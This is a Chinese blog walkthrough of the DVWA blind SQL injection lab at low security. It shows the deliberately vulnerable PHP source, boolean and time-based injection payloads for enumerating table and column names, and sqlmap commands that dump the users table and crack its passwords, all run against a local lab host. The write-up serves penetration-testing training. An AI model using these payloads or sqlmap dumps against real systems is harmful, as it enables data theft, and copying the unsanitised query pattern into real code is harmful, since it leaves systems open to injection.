DVWA——SQL Injection (Blind)(low)

SQL Injection (Blind)

界面

在这里插入图片描述

源代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

代码分析

          通过查找用户输入的id是否存在,若存在则打印:User ID exists in the database;若不存在,则打印:User ID is MISSING from the database。可以看到对用户输入的id并没有进行合法性判断,存在sql漏洞

渗透步骤

         给出三种思路,一种是基于布尔的盲注,一种是基于时间的盲注,最后一种是使用sqlmap获得结果

一、基于布尔的盲注

         第一步:构建语句:1’ and 1=1#查看结果,发现给出存在提示
在这里插入图片描述
         第二步:构建语句:1’ and 1=2#查看结果,发现给出不存在提示。从第1,2步可以看到若后面的语句正确则会提示存在,反之提示不存在
在这里插入图片描述
         第三步:猜当前数据库中标的数量,构建语句:1’ and length(select count(table_name) from information_schema.tables where table_schema=database())=x#,通过改变x的值,当提示存在时,x的值就代表有几个表。结果显示x=2时,提示存在
x=1时,提示不存在
x=2时,提示存在
         第四步:猜第一个表名长度,构建语句:1’ and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=x#,改变x的值,直到系统提示存在,x就是表名长度,结果:x=9
         第五步:使用2分法猜出表名,构建语句:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>x#,其中为字母的ascii值。65~90为26个大写英文字母,97~122号为26个小写英文字母首先让x=97,查看是否是小写,再让x=109以此类推,猜出表名为:guestbook、users
         第六步:猜表的第一个字段长度,构建语句:1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#,方法同第四步,结果x=8
         第七步:猜表的第一个字段,构建语句:1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#,方法同第五步。

二、基于时间的盲注

         第一步:猜是否存在基于时间的盲注,输入:1’ and sleep(5)#之后,感觉到明显延迟;输入1 and sleep(5)#之后,没有延迟。由此判断出存在字符型的时间盲注
         第二步:和基于布尔的盲注一样的步骤,猜数据库表名,构建语句:1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # ,没有延迟;1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟,说明第一个表名有9个字符。
         第三步:之后构建sql语句和布尔一样,只是要添加sleep(5),并判断延迟。

三、使用sqlmap,

win10安装sqlmap
         第一步:输入任意东西,使用burp suit抓包,获取目的地址:192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#;cookie:security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5
在这里插入图片描述
在这里插入图片描述
         第二步:使用sqlmap对网址进行注入测试,输入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch,等待片刻后sqlmap给出了测试结果,可以用三种方式注入:Boolean,error-base以及time
在这里插入图片描述
         第三步:使用sqlmap查看数据库,输入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch --dbs
在这里插入图片描述
         第四步:查看dvwa数据库中的内容,输入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa --tables
在这里插入图片描述
         第五步:查看users表中的内容,输入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users --columns
在这里插入图片描述
         第六步:查看user以及password中的内容,输入:sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users -C “user,password“ --dump,之后可以看到sqlmap对加密的密码进行解码的过程,等一会让sqlmap解码完成后可以看到明文。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_37589805/article/details/112483002
今日推荐